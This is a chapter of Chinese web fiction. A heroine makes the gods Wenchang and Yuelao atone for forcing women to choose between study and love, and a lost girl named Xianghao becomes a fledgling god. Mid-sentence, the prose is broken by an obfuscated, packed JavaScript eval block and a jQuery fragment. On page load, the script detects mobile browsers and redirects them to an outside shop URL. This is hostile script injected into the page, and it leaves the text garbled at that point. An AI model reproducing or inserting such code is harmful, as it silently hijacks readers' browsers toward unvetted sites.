钟则安醒来时,天已经黑透。
她睡了将近二十个小时。赵公明那碗粥放在床头,已经凉成一块。她没动它,自己坐起来。左手包得严严实实,纱布下面渗着淡红的印。门口,钟馗背对着她坐在旧木凳上。他听见动静,没回头。
“他们跪了一夜。”
“谁?”
“文昌,月老。还有那个橘子女孩。”钟馗偏了偏头,“都在二楼小客厅。你昏过去之后,他们没散过。”
钟则安没再说话。她慢慢下床,披了件外套。走廊里的风带着桂花香和极淡的血腥气。她朝二楼走。
小客厅里,满屋子影子。墙边,桌旁,角落,一个挨着一个。橘子女孩跪在最中间,抱着那只旧书包。文昌和月老一左一右跪在她身边。
“说吧。”钟则安站在门口,“你们为什么被困住。”
文昌先开口。他的声音像旧纸摩擦,干,但清楚:“我困住了我自己。因为我不愿意承认,我回答不了她们的问题。”
月老接上。他的声音更哑,像被红线勒过:“我也答不了。她问我们,她能不能又读好书,又有人爱。我和文昌吵了两年。我以为是文昌在跟我作对。他以为是我在坏他的事。到最后我们才明白,我们答不了,是因为我们谁也不知道。”
“你们不知道什么?”钟则安问。
文昌抬起头。他的眼神像从很深的地方浮上来,带着极重的倦意:“我们不知道,除了那两条路,还有没有第三条。”
月老也说:“我们翻遍了自己能管的。婚姻,学业。每一桩每一件,都是别人来许的愿,没有一个人问过——要是两个都想要,算不算贪心。”
钟则安看着他们。她的影子落在他们中间,被烛火拉得又长又薄。
“所以你们就让人选。”她说。
“我们没得选。”文昌说,“可我们不能说。我们是神。神不能在人前说‘不知道’。”
“所以你们就装。”钟则安说。她的声音不高,但像在空屋子里来回撞,“装成两条路只能选一条。装成选了谁,就一定要割掉另一个。你们把人,逼成了两半。就为了你们自己不肯承认,你们也不知道。”
文昌和月老同时闭了闭眼。他们没有反驳。
钟则安没有停。她往前走了两步,看着文昌和月老,声音里没有半点同情:“可你们有没有想过,这个题,本来就不该由你们来出。”
文昌抬起头。
“是谁规定,人只能选一边?”钟则安说,“是你们。还是那些从古到今、一遍一遍对她说‘女孩子不要太好强’‘读那么多书有什么用’‘过了三十就没人要’的人?你们明明知道,她们不是贪心。她们只是被逼到了同一个地方:往前走,有人笑她。停下来,也有人笑她。她们来求你们,是求个公道。你们却把这条死路,当成了天经地义。”
她的目光扫过满墙影子:“她们哪一个,是自己愿意变成这样的?她们只是不想认。不想认‘事业和婚姻只能二选一’这种鬼话。结果呢,你们一个按头读书,一个按头嫁人。你们不是神。你们是那些老规矩的帮手。”
文昌的肩塌下去了。月老的胡须在抖。许愿抬起头,眼睛亮得惊人。
“现在的人,拜财神,拜文昌。”钟则安说,“他们不敢拜月老。因为所有人都说,谈了恋爱,就影响搞钱。考上了,就顾不上家。可这些,是谁告诉他们的?是你们。是你们这些神,用自己的位置,把一条不该有的分界线,越刻越深。”
文昌和月老同时闭了闭眼。他们没有反驳。
钟则安往前走了一步。她没看他们,而是看向那个女孩。
“她不是神。”钟则安说,“她身上没有神格。只有一口没散的气。你们把她变成了这家店的门。进去的人,都从她身上踩过去。你们把她用完了,又把她变成墙上的影子。她甚至连自己的名字都忘记了。”
女孩抬头。她的眼睛红得厉害,但没有泪。她说:“我不怪他们。我怪我自己。两年前,是我自己跪在他们中间,求他们救救我。从那天起,我就不是我了。我只是一个许愿的人。一个等着被安排的人。我进店,就是许愿。我出店,还是许愿。我连自己原名叫什么都不记得了。”
“所以你就留在店里,帮他们拉人。”钟则安说。
“是。”女孩说,“我恨他们。可我更怕一个人。我站在店门口,看见那些和我一样的女生经过,我就想,让她们也进去。这样我就不孤单了。我知道这不对。可我不知道还能去哪。”
钟则安看着她。女孩说得很平,像在说别人的事。可钟则安知道,这种平静,是把心剖出来之后,再也填不回去的平静。
“你不是帮凶。”钟则安说,“你是受害者。”
女孩怔住。
“他们用一个女孩的两难,用你的名字,把店开了两年。你从头到尾,只是他们不想认错的遮羞布。”钟则安说着,转头看向文昌和月老。她的眼里有火,烧得很静,很冷。
“你们欠她的。”
文昌和月老同时抬头。他们像被抽掉了最后一根脊梁。
钟则安拿出裁衡。笔身没有亮。可当她把两份空白协议放在桌上时,整张桌子都轻轻震了一下。
“文昌帝君。”她说,“你的债,九十九万八千点。去大学城职业指导中心做志愿者。免费改简历。每改完一份,必须问对方一句:除了考试和找工作,你最近有没有什么想做的事。问满一千个。”
文昌抬头。他看了钟则安很久,缓缓点头:“我去。”
“月老。”她说,“你的债,一百四十七万三千点。去民政局门口摆茶摊。谁要领证,你就问:你是真想好了,还是怕不结就没人要。满一千对,再碰你的红线。”
月老伏下身去,像老得站不起来:“我认。”
钟则安又看向女孩。
“你。”她说。她的声音终于柔了一点,“你没有债。你只是该做点别的事了。让那些和你当初一样的人,别再走你的老路。你做不做?”
女孩嘴唇抖了抖:“做什么?”
“打电话。”钟则安说,“以后,谁再同时求文昌和月老,谁在两难里出不来,你就给她打电话。你告诉她们,两条路都能走。走不动了,可以回头。你比谁都懂。”
女孩的眼泪终于掉下来。她颤抖着点头:“我做。”
“那先把你的名字找回来。”钟则安说。她把空白登记表推过去,“你叫什么,自己填。”
女孩看着那张纸。她看了很久。窗外的风把她的头发吹起来。然后她拿起笔,在姓名栏里一笔一画写下两个字:
“想好。”
她抬起头,眼睛清亮:“我叫想好。劝人想好了再走。”
两份协议,一份登记表。签完,S-0门方向,传来两声轻响。一声比一声柔。像有两个在门外站了太久的人,终于抬手,敲了敲自己的家门。
就在众人都以为结束时,第三声来了。
极轻,极远,像有人从门里往外咳了一下。钟馗脸色骤变。峦从一楼冲上来。两个人都看向S-0门的方向,又同时看向想好。
“门对她有反应。”峦说。
“可她不是神。”钟馗说。
“所以才说,麻烦大了。”峦低声说。他的目光落在想好身上,像在看一个刚刚苏醒的、不该存在的答案,“神域图上,多了一个点。以前没有。”
钟则安皱眉:“什么意思?”
“旧神是遗落的点。神域图里都有。可她不一样。她不是旧神,也不是遗产。她是新的。”峦的声音像从极深的地下浮上来,“门不响第三下,我会当她是人。可门响了。新神,已经在诞生了。”
想好怔怔地坐在那里。她还握着笔。她的名字还没干。
“我不是神。”她说。
“现在不是。”峦说,“但你在变成。因为你被太多人当成了出口。许愿、想好、两难。这些情绪在你身上堆了两年。你早就不是人了。你只是还差一个名字。现在,你自己写上了。”
满屋子的影子开始轻轻颤抖。它们像无数面极小的旗,在风里同时转向。钟则安走过去,把想好从椅子上拉起来。
“不管你是不是神。”她说,“先做你该做的事。劝人想好了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17906478|213025||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
再走。其他的,以后再说。”
想好攥着那支笔,点头。
钟则安没停。她往前走了一步,看向满墙的影子。
“现在,处理她们。”她说。
墙上的影子轻轻动了,像被风吹皱的夜。它们没有脸,但能听见。钟则安知道,它们在听。
她转头,看向想好。
“她们是你带回来的。”钟则安说,“现在,你送她们走。”
想好怔怔抬头。她的脸色白得几乎透明。她张了张嘴,像想说什么,又不敢。钟则安看着她,声音很轻,但很确定:“你记得她们每一个。你记得她们哪天来,什么时候哭,跪在哪一尊像前。你知道谁还能回去,谁已经回不去了。这件事,只能你做。”
想好慢慢站起来。她怀里的旧书包滑到地上,她没有捡。她走到墙边,抬起手。她的手指还在抖,像怕碰碎什么。可她到底伸了出去,掌心极轻极轻地贴在墙上。
满墙的影子像被按了开关。它们齐刷刷地转向她。无数张没有脸的黑影,同时“看”着她。
“对不起。”想好说。她的声音很小,小得像从喉咙里漏出来的一丝气,“我把你们领进来。现在,我送你们走。”
她的手指在墙上慢慢划。每划一下,就有一道影子从墙上走下来。不是乱走。它们排成一行,像一群走丢了很久的人,终于记起回家的路。有些影子走了几步,就散在空气里,回到它们早该回去的身体。有些影子走到门口,停下来,回头看想好一眼。想好朝它们点头,像在说,走吧。别回头了。
一个接一个。没有声音。可整间屋子都在轻轻抖。音和精卫站在门口,谁都没有说话。精卫看着想好,像看见了另一个自己。她别开脸,眼眶有点红。
“还剩最后几个。”想好说。她的声音已经不那么抖了。她走到最角落。那里挤着最后五道影子,已经淡得只剩轮廓。它们回不去了。身体没了,线也断了,只剩一点执念还钉在墙里。
“你们跟着我。”想好说。她背起那只旧书包,转身,朝门口走。那五道影子跟在她身后,像五个小得不能再小的尾巴。
钟则安看着她跨出门。天还是黑的。巷子里有风。想好抬头,她问:“四层楼,有地方给她们吗?”
“有。”钟则安说。
“那我带她们上去。”想好说。
她走了。身后,五道影子乖乖跟着,一个接一个。
天快亮时,钟则安一个人坐在文澜街口的台阶上。赵公明走过来,递了瓶水。他在她旁边坐下,隔了半个人的距离。
“赵公明。”钟则安忽然叫。
“你为什么没被关进去?”钟则安问。
赵公明开口:“财神不管人怎么活。本座只管钱。正财,偏财。别人求财,财到了。他要拿这钱去读书也好,去嫁娶也好,本座都不管。本座不碰人心。人心里有股执念,谁碰谁陷进去。他们两个,就是太想管心了。”
“所以你的像,是空的。”钟则安说。
“是本座没去过。”赵公明说,“那庙里供本座的像,香火最旺。可本座一个愿都没听。听多了,就会像他们一样。听完,就放不下了。放不下,就会被钉在墙上。本座知道,那是道无解题。”
“无解题。”钟则安重复。她忽然觉得,这三个字,很冷。
“本座以前觉得,那些姑娘是自己想不开。”赵公明忽然说。
“现在呢?”
“现在本座知道了。是路太窄。”赵公明看着对面的路灯,“她们不是不知道该怎么走。是总有人站在路边,告诉她们,选那条,别选这条。说多了,路就真窄了。本座管不了那些说话的人。但本座以后,不给这种话递钱。”
钟则安侧头看他。
“谁教你的?”她问。
“没人教。”赵公明说。
钟则安没说话。她抬头,天边已经泛白。文澜街的灯一盏一盏暗下去。
她打开赵公明给的小布包。里面是一枚新铜钱。很亮,像刚从旧岁月里醒过来。她把铜钱握进掌心。铜钱边缘刻着一行极小的字。她凑近看,写着“路自己走”。